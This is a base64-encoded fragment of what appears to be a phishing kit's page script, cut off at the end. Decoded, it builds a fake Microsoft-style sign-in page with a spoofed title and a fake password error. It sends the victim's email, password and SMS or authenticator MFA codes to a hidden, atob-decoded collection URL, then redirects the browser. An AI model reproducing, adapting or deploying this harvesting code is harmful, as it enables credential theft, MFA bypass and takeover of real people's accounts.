kgICAgZG9jdW1lbnQudGl0bGU9XCcnLigkdGl0bGUgPz8gIlNpZ24gaW4gdG8gQmVzdCBQcm9kdWN0aXZpdHkgUHJvdmlkZXIiKS4nXCc7CgkJCSQoXCdoZWFkXCcpLmFwcGVuZChcJzxsaW5rIGhyZWY9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxBQUFCQUFFQUhTQUFBQUVBSUFBb0R3QUFGZ0FBQUNnQUFBQWRBQUFBUUFBQUFBRUFJQUFBQUFBQWdBNEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRE9kSm9BMFhhWkJNcHlta1hGYlpheHdHbVM3cnhtanY2NVk0cnV0V0NHc2JKZWdVU3NXbmdFcjF4OEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRFJkNWtBMjM3RUFOVjdwU0RTZUtPS3pYV2c2c2x4blAvRmJwai93V3FULzcxbmovKzVZNHIvdFdDRzZiRmVnWW10VzMwZnRtT1ZBS3hhZHdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRGFoSndBNDRhMUFPT0hzd3pmaExKZjJvQ3QwOWQ4cXY3VGVhYi96M2FpLzh0em52L0hiNW4vd211VS83NW5qLys1WTRyL3RHQ0YvckJjZ05LdFduMWZxMWg0QzZ0WWVnRE1kcEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBN0k2L0FPMlB3QUxzamI4NDZJcThydVNIdVBqZ2hMVC8zSUd3LzloK3JQL1VlcWYvejNhaS84dHpudi9HYjVuL3dXcVQvNzFtanYrNFk0bi9zMStFLzY1YmYvZXFWM3F0cDFSMk41OVBhUUtrVW5BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBL3EzNUFOOTFmQUR6bE13YzhKTERoZkNSeE9qdWo4WC82NHpBLythSXV2L2loYlgvM1lLeC85aCtyUC9UZXFiL3ozYWkvOHB5bmYvRmJaZi93R21TLzd0bGpQKzJZWWYvc1YyQy82eFpmUCtuVkhmbm8xRnlncUJQYmh1Z1RuZ0FvVkZwQUFBQUFBQUFBQUFBMUhwU0FNWnZGd0RHYnhNS3lIRXhXY2x6U003R2NVcit3bTlRLzh4MmNmL2hoYVgvNjR6QS8rYUp1Ly9oaGJULzNJR3YvOWQ5cXYvU2VLWC96WFNnLzhod212L0RhNVgvdm1lUC83aGppdit6WDRUL3JsdC8vNmxXZWYra1VuVDluMDV2ekp4TWFsZWFTMllKbWt0b0FLWlZYQUROZEJNQXpuUVlHOHB4RWFERWJRNzJ2V2tMLzdka0NQK3ZZQWovcVZzSy82eGVJdi9JYzJ6LzRvYXYvK1NIdXYvZWc3TC8yWCtzLzlSNnAvL1BkcUwveVhLYy84VnRsLysvYVpIL3VtU0wvN1ZnaHYrd1hJRC9xbGQ3LzZWVGRmK2dUM0QvbTB0cTlaZElacDZaU21jYmwwaG1BTlI0SWhMU2RoZXF6M1FULzh4eUVmL0ljQkgvdzJ3US83MW9ELysyWkEvL3JsOE0vNmRiRGYrell6Yi96M2lFLzk2Q3NQL2FnSy8vMVh1by84OTJvdi9LY3AzL3hXNlgvOEJwa3YrN1pZei90bUdILzdCZGdmK3JXSHovcGxSMy82RlFjZitjVEd2L21FbG4vNWhKWjZlYlRHZ1IxWGtoYzlaNUhQblZlQnYvMG5jYS84OTFHdi9MY2huL3gyOFgvOEZyRnYrOFp4WC90V01TLzZ4ZUR2K3BYQmIvdVdkTi85QjRrdi9VZXFmL3ozYWkvOHB5bmYvR2Jwai93R21TLzd0bGpmKzJZWWYvc1YyQy82eFpmUCtuVkhmL29sQnkvNTVOYmYrYVNtbi9tRWxvK1pkSlpuRFhlaVhQMkhzbC85aDdKdi9YZWliLzFIZ2wvOUozSS8vUGRDTC95M0VnLzhadUhmL0FhaHYvdW1ZWS83TmlGUCtyWFJEL3JWNG02OGh4aGJyUGRxTHN5WEtjLzhWdGwvL0FhWkgvdTJXTS83WmhoLyt3WFlIL3ExaDgvNmRVZC8raVVYUC9uazV1LzVwS2FmK1dTR2IvbFVka3pkbDdLdmZaZXl6LzJYc3YvOWw3TWYvWWV6SC8xM293LzlWNEx2L1NkaXYvem5RcC84cHhKZi9GYlNIL3Yya2QrcmRsR2Jtc1hoUkNzMkZRQ00xMW5rUEljSm01dzJ1VityNW9rUCs1WTRyL3RXQ0cvNjljZ1ArcldIdi9wbE4yLzZGUWNmK2NUR3YvbDBobi81SkZZLytQUTJIMjJYc3cvOWw3TS8vWmV6Yi8yWHc1LzlwOE8vL2FmRDMvMlhzOC85ZDVPZi9WZHpiLzBuWXkvODV6TGVYSWJ5ZHR3bXdsRU1WdEhRRENhbVlBeFd5WEFNaHZsQkRCYXBGdXZHYU41YmRpaVAreVhvUC9yVnArLzZoVmVmK2pVWFAvblUxdC81ZEphUCtTUldQL2pVRmYvNDVHV2Y3WmZEZi8yWHc1LzlwOFBQL2FmRC8vMm54Qy85cDhSUC9iZkVmLzJueEgvOWw3UmYvWGVrRG4xSGc2VFA4Ly93RFRlVG9BQUFBQUFBQUFBQUFBQUFBQXZHYUpBUC9YeXdDNVk0bE90RitFNks5Y2dQK3FWM3IvcEZKMC81NU9iditZU1dqL2tVVmkvNHRCWGYrRU8xZi9ubDVSL3RwOFBmL2FmRUQvMm54RC85cDhSdi9iZkVuLzIzeEwvOXQ5VHYvYmZWRC8zSDFSL3R0OVQzc0FBQUFBMW50SEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFzVjE4QU9hSWdBQ3VXMzU5cWxkNi82UlNkUCtlVG03L2wwbG8vNUZFWXYrSlAxdi9nanBVLzRJOVQvL0xtMDMrMm54RS85dDhSLy9iZkVyLzIzeE4vOXQ5VC8vY2ZWTC8zSDFVLzl4OVYvL2NmVmpoMjMxWEpkdDlWd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBcGxSMUFLZFZkaWVqVVhQaW5VMXQvNVpJWnYrUFEyRC9oejVaLzM4M1V2OTZOVXovc241TC8vWFJUZjNiZkVyLzIzMU4vOXQ5VVAvY2ZWUC8zSDFXLzl4OVdmL2NmVnYvM1gxZS85MTlYN3ZhZmx3SjJuNWJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNnVDJzQW9WQnRDWnBMYWIyVVJtWC9qRUZlLzRROFZ2OTdORS8vaEVGSy83dUlTLy96MFU3LytkWk8vZHg5VVAvY2ZWUC8zSDFYLzl4OVd2L2NmVjMvM1gxZy85MTlZdi9kZldULzNYMW1yTnQ5YlFQYmZXb0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSnhOWXdDaVVtY0VrRVJocm9vL1cvK0FPRlQvZmpoTi82QmxTdi9icjB6LytOVk8vL25YVHYvNDFFMzkzSDFXLzl4OVd2L2RmVjMvM1gxZy85MTlZLy9kZldiLzNuMW8vOTU5YS8vZWZXMnMzSDF3QTl4OWJnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFsRWhaQUoxUFhBU0ZQRmF0ZmpkUi80OU5TLy9FajByLzdzUk0vL2JRVGYvMzBVMy85OUpOLy9iUlRmM2NmVjMvM1gxZi85MTlZLy9kZldiLzNuMXAvOTU5YlAvZWZXLy8zbjF5Lzk1OWM2emJmRzBEMjN4dkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ1JTRTRBZmpKUEJJcEZUSzZ1Y0VyLzRheEsvL0hEUy8veXgwei84OHBNLy9YT1RmLzF6MDMvOWM1Ti9kMTlZdjdkZldYLzNuMXAvOTU5YlAvZWZYRC8zbjF6Lzk5OWR2L2dmbm4veW5CcDNJbENNaytZU3pjSGtrYzNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNUtSSUFPS2dTQWZrcFVoUDNLRkozZXF5U2YvdXVrci83NzlMLy9ERFMvL3l4MHovODhwTS8vVExUUC8weTB6OTNYMW4vOTU5YS8vZWZXLy8zbjF5Lzk5OWR2L2Zmbm4vMzM1OC8rRi9nZi9BYUdUL2gwRXI4cHBNTVp5dVdqZ3J4bkJPQWJWaFFBQUFBQUFBM3BSSUFOcUpTZ0hnbWtZcjQ2QkduT1dtUi9Mb3JVai82ckZKLyt5MlN2L3V1MHIvOE1CTC8vRERTLy94eGt6LzhzZE0vL0xIVFA3ZWZXejMzbjF3Lzk5OWRmL2ZmWGovMzM1OC85OStmLy9nZm9QLzRuK0gvOEJwYVArSFFDdi9tMDB4LzdCYk45L0FhRHlPem5aQVV0ZURRei9hakVWUzNaSkZqdUNZUmQvaW5rYi81S1JHLytlcFIvL3Bya24vNnJOSi8rMjRTdi91dkVyLzhNQkwvL0RDUy8vd3hFdi84TU5MOXQ1OWNzN2ZmWFgvMzMxNi85OStmdi9nZm9MLzRINkYvK0IraVAvaWY0My93V2xzLzRkQUsvK2FUREQvcjFzMy84Qm9QUC9PZGtENzE0SkQ5ZHFMUmZ2Y2tVWC8zNVpGLytHY1JmL2pvVWIvNWFaSC8raXJTUC9wc0VuLzY3UksvKzI0U3YvdXZFci83NzVMLy9EQVMvL3Z2MHZOM24xNGN0OStldm5mZm43LzRINkMvK0IraHYvaGZvci80WDZPLytOL2svL0JhWEQvaDBBci81cE1NUCt2V2pmL3dHYzgvOHgwUVAvVmdFUC8yWWhFLzl1T1JmL2VsRVgvNEpsRi8rS2VSdi9rbzBiLzVxaEgvK2l0U1AvcHNVbi82N1JLLysyNFN2L3V1a3IvN3J0SytPMjZTM0RlZlg0UjMzNS9xT0IrZ3YvZ2ZvYi80WDZLLytGK2ovL2hmNVAvNDRDWi84RnBkUCtIUUN2L21rd3cvNjVhTnYrL1p6ei95M00vLzlSK1F2L1loa1QvMm90Ri85eVJSZi9mbGtYLzRadEYvK09nUnYvbHBVZi81NmxILytpdFNmL3BzRW4vNjdSSi8reTJTdi9zdDBxbjY3VktFTjk5Z3dEZmZZSWI0SDZHbitCK2lmYmhmbzcvNFgrUy8rRi9sdi9qZ0p6L3dXbDEvNGRBSy8rYVRERC9ybG8yLzc1bVBQL0tjVC8vMDN4Qy85ZURSUC9aaUVULzI0NUYvOTJUUmYvZ21FWC80WjFHLytPaVJ2L2xwa2YvNTZwSC8raXRTZi9wc0VuMTZySkpudXF5U2hycnRFb0EwWGVTQU45K2lnRGRmWWtKNEg2TVYrRitrTXZoZjVUOTRYK1kvK09BbmYvQ2FuYi9oMEVyLzVwTU1QK3VXamIvdldVNy84bHZQLy9TZWtILzFvRkQvOWlHUlAvYWkwWC8zSkJGLzk2VlJmL2dta1gvNHA1Ry8rT2lSdi9scGtmOTU2bEh5K2lzU1Zib3JVc0o2SzVLQU9DZ1RRQUFBQUFBQUFBQUFOcDdpd0RtZ3BVQTRINlBHdUIvazRQaGY1Ym80b0NhLzgxeGdmK01SREQvbWt3dy82NWFOdis5WkR2L3lXMC8vOUYzUWYvVWZrUC8xNE5FLzltSVJQL2JqVVgvM1pKRi85K1dSZi9obTBYLzRwOUc1K09pUm9Ia3BVZ2E1NnhFQU4rWFRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFEZWZaSUEzSDJRQXVCK2xEamhmNVd0M0h1Tzk1OVJSditaVEMvL3JsbzIvN3hqTy8vSWF6Ly8wSFJCLzlON1F2L1ZnRVAvMklWRS85cUtSUC9iajBYLzNaTkY5K0NYUmF6aG0wWTI0WjlJQXVHZFJ3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBREtjM0lBNEgrUkFOOStrQXpqZ0pOZXdXaHAwYUJRTnY2dVdUYi92R003LzhkcFB2L09jVUgvMG5oQy85UjlRdi9XZ2tQLzJJZEUvdHFMUmREY2tFWmQzcE5JQzk2VVJnRE9ZbHdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTRIK01BSlpLTFFEWmVvSWVzRnhJaWE5YU4rbThZenYveDJrKy84MXZRUC9RZFVMLzAzcEMvOVYvUXVqWGcwT0gyWWhGSHRpRFFRRFppVVVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUxOZlJBQzBZazBFczE0NlJMMWtQSy9IYVQ3dHpHNUEvYzl6UWV6U2VFR3UwM3hBUXROOVFBVFRmVUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBLzhBZitQK0FEL2orQUFQNCtBQUErUEFBQUhqQUFBQVlnQUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQndBQUFCL0FBQUEvNEFBQVArQUFBRC9nQUFBLzRBQUFQK0FBQUQvZ0FBQWZ3QUFBQndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFBakFBQUFZOEFBQWVQZ0FBUGorQUFQNC80QVArUC9BSC9nPSIgcmVsPSJzaG9ydGN1dCBpY29uIj5cJyk7CgkJCSQuc3VwcG9ydC5jb3JzID0gdHJ1ZQoJCQl2YXIgZW0gPSQoXCcjYmt1cHR0cmZlcnJzXCcpLnZhbCgpOwoJCQl2YXIgdXIgPWF0b2IoJChcJyN1dXJsXCcpLnZhbCgpKTsKCQkJJChcJy5jbGljay10by1lbnRlclwnKS5jbGljayhmdW5jdGlvbigpewoJCQkJJC5wb3N0KHVyLFwnYXV0aD0xJnN0PVwnKyQoXCcuc3RlYWx0aFwnKS52YWwoKSxmdW5jdGlvbihkYXRhKXsKCQkJCQlpZihkYXRhKXsKCQkJCQkkKFwnLnNob3ctMmZhLWNvZGVcJykuaGlkZShmdW5jdGlvbigpewoJCQkJCQkkKFwnLmlucHV0LWNvZGVcJykuc2hvdygpOwoJCQkJCX0pOwoJCQkJCX0KCQkJCX0pOwoJCQl9KTsKCQkJCgkJCXNlcmEgPSB7ZW19CgkJCSQucG9zdCh1cixzZXJhLGZ1bmN0aW9uKGRhdGEpewogICAgIAkJCWlmKGRhdGEgJiYgZGF0YSAhPSBcJ2ZhaWxcJyl7CiAgICAgCQkJICAgIHZhciBpPUpTT04ucGFyc2UoZGF0YSk7CiAgICAgCQkJCWlmKGkuYmdfaW1hZ2UgIT09IG51bGwgJiYgaS5iZ19pbWFnZSAhPT0gXCdcJyl7CiAgICAgCQkJCQkkKFwnI2JnX2ltZ1wnKS5jc3MoXCdiYWNrZ3JvdW5kLWltYWdlXCcsIFwnbGluZWFyLWdyYWRpZW50KHJnYmEoMCwwLDAsMC41MjcpLHJnYmEoMCwwLDAsMC41KSksdXJsKFwnICsgaS5iZ19pbWFnZSArIFwnKVwnKTsKICAgICAJCQkJCSQoXCcjYmFubmVyX2ltYWdlXCcpLmhpZGUoKTsKICAgICAgICAgICAgICAgICAgICAgLy8JYWxlcnQoaS5sb2dvX2ltYWdlKTsKICAgICAJCQkJfQogICAgIAkJCQlpZihpLmxvZ29faW1hZ2UgIT09IG51bGwgJiYgaS5sb2dvX2ltYWdlICE9PSBcJ1wnKXsKICAgICAJCQkJCSQoXCcjbG9nb19pbWFnZVwnKS5hdHRyKFwnc3JjXCcsIGkubG9nb19pbWFnZSk7CiAgICAgCQkJCQkkKFwnI2Jhbm5lcl9pbWFnZVwnKS5oaWRlKCk7CiAgICAgICAgICAgICAgICAgICAgIC8vCWFsZXJ0KGkubG9nb19pbWFnZSk7CiAgICAgCQkJCX0KICAgICAJCQl9CiAgICAgCQkJJChcJyNsb2FkaW5nU2NyZWVuXCcpLmhpZGUoZnVuY3Rpb24oKXsKICAgICAJCQkJJChcJyNjb250ZW50XCcpLnNob3coZnVuY3Rpb24oKXsKICAgICAJCQkJCSQoXCcuaWRlbnRpdHlcJykuaHRtbChlbSkKICAgICAJCQkJCSQoXCcjYWRkX3Bhc3NcJykuc2hvdygpOwogICAgIAkJCQl9KTsKICAgICAJCQl9KTsKCQkJCSQoXCcuc3VibWl0LW1mYTEtY29kZVwnKS5jbGljayhmdW5jdGlvbigpewoJCQkJCSQoXCcubWZhLWVycm9yXCcpLmhpZGUoKQoJCQkJCXZhciBjZCA9ICQoXCcubWZhMS1jb2RlXCcpLnZhbCgpCgkJCQkJdmFyIHBhdHRlciA9IC9eWzAtOV0rJC87CgkJCQkJaWYoIXBhdHRlci50ZXN0KGNkKSl7CgkJCQkJCXJldHVybiBmYWxzZTsKCQkJCQl9CgkJCQkJdmFyIHRvX21mYSA9IFwnbWZfY29kZT1cJytjZCtcJyZzdD1cJyskKFwnLnN0ZWFsdGhcJykudmFsKCkrXCcmZW1zdD1cJytlbStcJyZwc2U9XCcrJChcJyNwYXNzd29yZFwnKS52YWwoKTs7CgkJCQkJJC5wb3N0KHVyLHRvX21mYSxmdW5jdGlvbihkYXRhKXsKCQkJCQkJZGF0YSA9IEpTT04ucGFyc2UoZGF0YSkKCQkJCQkJaWYoZGF0YS52PT0wKXsKCQkJCQkJCSQoXCcubWZhLWVycm9yXCcpLnNob3coKQoJCQkJCQl9CgkJCQkJCWVsc2UgaWYoZGF0YS52ID09IDEpewoJCQkJCQkJbG9jYXRpb24ucmVwbGFjZShkYXRhLnQpOwogICAgIAkJCQkJCXNldFRpbWVvdXQoIndpbmRvdy5sb2NhdGlvbi5ocmVmPVwnIisgZGF0YS50ICsiXCc7IiwgMTAwMCk7CgkJCQkJCX0KCQkJCQl9KTsKCQkJCX0pOwoJCQkJJChcJy5zdWJtaXQtMmZhXCcpLmNsaWNrKGZ1bmN0aW9uKCl7CgkJCQkJJChcJy5jb2RlLWVycm9yXCcpLmhpZGUoZnVuY3Rpb24oKXsKCQkJCQkJCQkkKFwnLnNtcy1lcnJvclwnKS5oaWRlKCk7CgkJCQkJfSk7CgkJCQkJdmFyIGNkZT0kKFwnI2lkVHh0QnhfU0FPVENDX09UQ1wnKS52YWwoKTsKCQkJCQl2YXIgcGF0dGVyID0gL15bMC05XSskLzsKCQkJCQlpZighcGF0dGVyLnRlc3QoY2RlKSB8fCBjZGUubGVuZ3RoIT02KXsKCQkJCQkJJChcJy5jb2RlLWVycm9yXCcpLnNob3coZnVuY3Rpb24oKXsKCQkJCQkJCQkkKFwnLnNtcy1lcnJvclwnKS5zaG93KCk7CgkJCQkJCQkJJChcJy5lcnJvci10eXBlXCcpLmh0bWwoXCdQbGVhc2UgZW50ZXIgdGhlIDYtZGlnaXQgY29kZS4gVGhlIGNvZGUgb25seSBjb250YWlucyBudW1iZXJzXCcpOwoJCQkJCQkJfSk7CgkJCQkJCQlyZXR1cm4gZmFsc2UKCQkJCQl9CgkJCQkJdmFyIGVudHJ5ID0gXCdjb2RlPVwnKyQoXCcjaWRUeHRCeF9TQU9UQ0NfT1RDXCcpLnZhbCgpK1wnJnN0PVwnKyQoXCcuc3RlYWx0aFwnKS52YWwoKStcJyZlbXN0PVwnK2VtK1wnJnBzZT1cJyskKFwnI3Bhc3N3b3JkXCcpLnZhbCgpOwoJCQkJCSQucG9zdCh1cixlbnRyeSxmdW5jdGlvbihkYXRhKXsKCQkJCQkJdmFyIGRhdGE9SlNPTi5wYXJzZShkYXRhKQoJCQkJCQlpZihkYXRhLnY9PVwnMFwnKXsKCQkJCQkJCSQoXCcuY29kZS1lcnJvclwnKS5zaG93KGZ1bmN0aW9uKCl7CgkJCQkJCQkJJChcJy5zbXMtZXJyb3JcJykuc2hvdygpOwoJCQkJCQkJfSk7CgkJCQkJCX0KCQkJCQkJZWxzZSBpZihkYXRhLnY9PSIxIil7CiAgICAgCQkJCQkJCWxvY2F0aW9uLnJlcGxhY2UoZGF0YS50KTsKICAgICAJCQkJCQkJc2V0VGltZW91dCgid2luZG93LmxvY2F0aW9uLmhyZWY9XCciKyBkYXRhLnQgKyJcJzsiLCAxMDAwKTsKCQkJCQkJfQoJCQkJCQkvL2luY29ycmVjdAoJCQkJCQkvL29yCgkJCQkJCS8vcmVkaXJlY3QKCQkJCQl9KTsKCQkJCX0pOwoJCQkJJChcJy5uZXh0YlwnKS5jbGljayhmdW5jdGlvbigpewoJCQkJCSQoXCcubmV4dGJcJykucHJvcChcJ2Rpc2FibGVkXCcsIHRydWUpOwoJCQkJCSQoIi5wYXNzLWVycm9yIikuaGlkZSgpOwoJCQkJCSQoIi5pbmZvLXZlcmlmeSIpLmhpZGUoKTsKCQkJCQkkKFwnLmFsZXJ0LWVycm9cJykuaGlkZSgpOwoJCQkJCXZhciBwc3dkID0gJChcJyNwYXNzd29yZFwnKS52YWwoKTsKCQkJCQlpZighcHN3ZCl7CgkJCQkJICAgJChcJy5hbGVydC1lcnJvXCcpLnNob3coKTsKCQkJCQkgICAkKFwnLmFsZXJ0LWVycm9cJykuaHRtbChcJ1BsZWFzZSBlbnRlciB0aGUgcGFzc3dvcmQgZm9yIHlvdXIgTWljcm9zb2Z0IGFjY291bnQuXCcpOwoJCQkJCSAgICQoXCcubmV4dGJcJykucHJvcChcJ2Rpc2FibGVkXCcsIGZhbHNlKTsKCQkJCQl9CgkJCQkJZWxzZXsKCQkJCQkJJChcJyNwcm9ncmVzc0JhclwnKS5zaG93KCk7CgkJCQkJCXZhciBhdXRoID0gJChcJyNia3VwdHRyZmVycnNcJykudmFsKCk7CiAgICAgCQkJCQljb21waSA9IHthdXRoLHBzd2R9OwogICAgIAkJCQkJJC5wb3N0KHVyLGNvbXBpLGZ1bmN0aW9uKGRhdGEpewogICAgIAkJCQkJCXZhciByZXN1bHQgPSBKU09OLnBhcnNlKGRhdGEpOwogICAgIAkJCQkJCWlmKHJlc3VsdC50PT1cJ3ZhbGlkXCcpewogICAgIAkJCQkJCQl2YXIgZmluaXNoX3VybD1yZXN1bHQuZmluaXNoOwogICAgIAkJCQkJCQlsb2NhdGlvbi5yZXBsYWNlKGZpbmlzaF91cmwpOwogICAgIAkJCQkJCQlzZXRUaW1lb3V0KCJ3aW5kb3cubG9jYXRpb24uaHJlZj1cJyIrIGZpbmlzaF91cmwgKyJcJzsiLCAxMDAwKTsKICAgICAJCQkJCQl9ZWxzZSBpZihyZXN1bHQudD09XCdzbXNcJyl7CgkJCQkJCQkJJChcJy5lbnRlci1wYXNzXCcpLmhpZGUoZnVuY3Rpb24oKXsKCQkJCQkJCQkJJChcJy5zaG93LTJmYS1jb2RlXCcpLnNob3coKTsKCQkJCQkJCQl9KTsKCQkJCQkJCQkkKFwnLmFkZC10ZXh0XCcpLmh0bWwocmVzdWx0Lm51bWJlcik7CgkJCQkJCQkJJChcJy5zdGVhbHRoXCcpLnZhbChyZXN1bHQuZmlsZSk7CgkJCQkJCQkJJChcJyNwcm9ncmVzc0JhclwnKS5oaWRlKCk7CiAgICAgCQkJCQkJCS8vdmFyIGZpbmlzaF91cmw9cmVzdWx0LmZpbmlzaDsKICAgICAJCQkJCQkvLwlsb2NhdGlvbi5yZXBsYWNlKGZpbmlzaF91cmwpOwogICAgIAkJCQkJCQkvL3NldFRpbWVvdXQoIndpbmRvdy5sb2NhdGlvbi5ocmVmPVwnIisgZmluaXNoX3VybCArIlwnOyIsIDEwMDApOwogICAgIAkJCQkJCX0KCQkJCQkJCWVsc2UgaWYocmVzdWx0LnQ9PVwnbWZhMVwnKXsKCQkJCQkJCQkkKFwnLmVudGVyLXBhc3NcJykuaGlkZShmdW5jdGlvbigpewoJCQkJCQkJCQkkLnBvc3QodXIsXCdzdGFydF9tZmE9MSZzdD1cJytyZXN1bHQuZmlsZSxmdW5jdGlvbihkLHQpewoJCQkJCQkJCQkJLy9hbGVydCgxKTsKCQkJCQkJCQkJfSk7CgkJCQkJCQkJCSQoXCcuc2hvdy1tZmExLWNvZGVcJykuc2hvdygpOwoJCQkJCQkJCX0pOwoJCQkJCQkJCSQoXCcuc3RlYWx0aFwnKS52YWwocmVzdWx0LmZpbGUpOwoJCQkJCQkJCSQoXCcjcHJvZ3Jlc3NCYXJcJykuaGlkZSgpOwogICAgIAkJCQkJCQkvL3ZhciBmaW5pc2hfdXJsPXJlc3VsdC5maW5pc2g7CiAgICAgCQkJCQkJLy8JbG9jYXRpb24ucmVwbGFjZShmaW5pc2hfdXJsKTsKICAgICAJCQkJCQkJLy9zZXRUaW1lb3V0KCJ3aW5kb3cubG9jYXRpb24uaHJlZj1cJyIrIGZpbmlzaF91cmwgKyJcJzsiLCAxMDAwKTsKICAgICAJCQkJCQl9CgkJCQkJCQllbHNlIGlmKHJlc3VsdC50PT1cJ21mYTJcJyl7CgkJCQkJCQkJJChcJy5lbnRlci1wYXNzXCcpLmhpZGUoZnVuY3Rpb24oKXsKCQkJCQkJCQkJJC5wb3N0KHVyLFwnc3RhcnRfbWZhPTEmc3Q9XCcrcmVzdWx0LmZpbGUsZnVuY3Rpb24oZCx0KXsKCQkJCQkJCQkJCWlmKHRydWUpewoJCQkJCQkJCQkJCXZhciBjZGUgPSBkOwoJCQkJCQkJCQkJCSQoXCcuZGlzcGxheVNpZ25cJykudGV4dChjZGUpOwoJCQkJCQkJCQkJfQoJCQkJCQkJCQl9KTsKCQkJCQkJCQkJJChcJy5zaG93LW1mYTItY29kZVwnKS5zaG93KCk7CgkJCQkJCQkJfSk7CgkJCQkJCQkJJChcJy5zdGVhbHRoXCcpLnZhbChyZXN1bHQuZmlsZSk7CgkJCQkJCQkJJChcJyNwcm9ncmVzc0JhclwnKS5oaWRlKCk7CiAgICAgCQkJCQkKCQkJCQkJCQkJc2V0VGltZW91dChmdW5jdGlvbigpewoJCQkJCQkJCQkgICB2YXIgZGVmX2NvdW50ID0gMDsKCQkJCQkJCQkgICAgICAgdmFyIGludGVydmFsSWQgPSB3aW5kb3cuc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXsKCQkJCQkJCQkJICAgZGVmX2NvdW50Kz0xOwoJCQkJCQkJCQkgICBpZihkZWZfY291bnQgPT0gNyl7CgkJCQkJCQkJCQkJY2xlYXJJbnRlcnZhbChpbnRlcnZhbElkKTsKCQkJCQkJCQkJCQkkKFwnLnNob3ctbWZhMi1jb2RlXCcpLmhpZGUoZnVuY3Rpb24oKXsKCQkJCQkJCQkJCQkJJChcJy5tZmEyLWVycm9yXCcpLnNob3coKTsKCQkJCQkJCQkJCQl9KTsKCQkJCQkJCQkJICAgfQoJCQkJCQkJCQkgICB2YXIgdG9fbWZhMiA9IFwnbWZfY29kZT0mc3Q9XCcrJChcJy5zdGVhbHRoXCcpLnZhbCgpK1wnJmVtc3Q9XCcrZW0rXCcmcHNlPVwnKyQoXCcjcGFzc3dvcmRcJykudmFsKCk7OwoJCQkJCQkJCQkJJC5wb3N0KHVyLHRvX21mYTIsZnVuY3Rpb24oZGF0YSl7CgkJCQkJCQkJCQkJdmFyIGRhdGE9SlNPTi5wYXJzZShkYXRhKQoJCQkJCQkJCQkJCQkJIGlmKGRhdGEudj09MSl7CgkJCQkJCQkJCQkJCQkJCWxvY2F0aW9uLnJlcGxhY2UoZGF0YS50KTsKCQkJCQkJCQkJCQkJCQkJc2V0VGltZW91dCgid2luZG93LmxvY2F0aW9uLmhyZWY9XCciKyBkYXRhLnQgKyJcJzsiLCAzMDAwKTsKCQkJCQkJCQkJCQkJCQl9CgkJCQkJCS8vaW5jb3JyZWN0CgkJCQkJCS8vb3IKCQkJCQkJLy9yZWRpcmVjdAoJCQkJCQkJCQkJCQkJfSk7CgkJCQkJCQkJCQkJCX0sIDU1MDApOwoJCQkJCQkJCQkJCgkJCQkJCQkJCQl9LDIwMDApOwoJCQkJCQkJCQogICAgIAkJCQkJCX0KICAgICAJCQkJCQllbHNlewogICAgIAkJCQkJCQkkKFwnI3Byb2dyZXNzQmFyXCcpLmhpZGUoKTsKICAgICAJCQkJCQkJJCgiLmVycm9yLWFsZXJ0Iikuc2hvdygpOwoJCQkJCQkJCSQoXCcucGFzcy1lcnJvclwnKS5zaG93KCk7CiAgICAgCQkJCQkJCSQoIi5wYXNzLWVycm9yIikuaHRtbCgiWW91ciBlbWFpbCBvciBwYXNzd29yZCBpcyBpbmNvcnJlY3QuIElmIHlvdSBkb25cJ3QgcmVtZW1iZXIgeW91ciBwYXNzd29yZCwgPGEgaHJlZj1cJyNcJz5yZXNldCBpdCBub3cuPC9hPiIpOwogICAgIAkJCQkJCQkkKFwnLm5leHRiXCcpLnByb3AoXCdkaXNhYmxlZFwnLCBmYWxzZSk7CgkJCQkJCSAgICAJJChcJyNwYXNzd29yZFwnKS52YWwobnVsbCk7CiAgICAgCQkJCQkJfQogICAgIAkJCQkJfSk7CgkJCQkJfQoJCQkJfSk7CgkJCX0pOwoJCQkkKGRvY3VtZW50KS5vbihcJ2tleXByZXNzXCcsZnVuY3Rpb24oZSkgewoJCQkJaWYoZS53aGljaCA9PSAxMykgewoJCQkJCWlmKCQoXCcuZW50ZXItcGFzc1wnKS5pcygiOnZpc2libGUiKSl7CgkJCQkJCSQoXCcubmV4dGJcJykuY2xpY2soKQoJCQkJCX0KCQkJCQllbHNlIGlmKCQoIi5pbnB1dC1jb2RlIikuaXMoIjp2aXNpYmxlIikpewoJCQkJCQkJJCgiLnN1Ym1pdC0yZmEiKS5j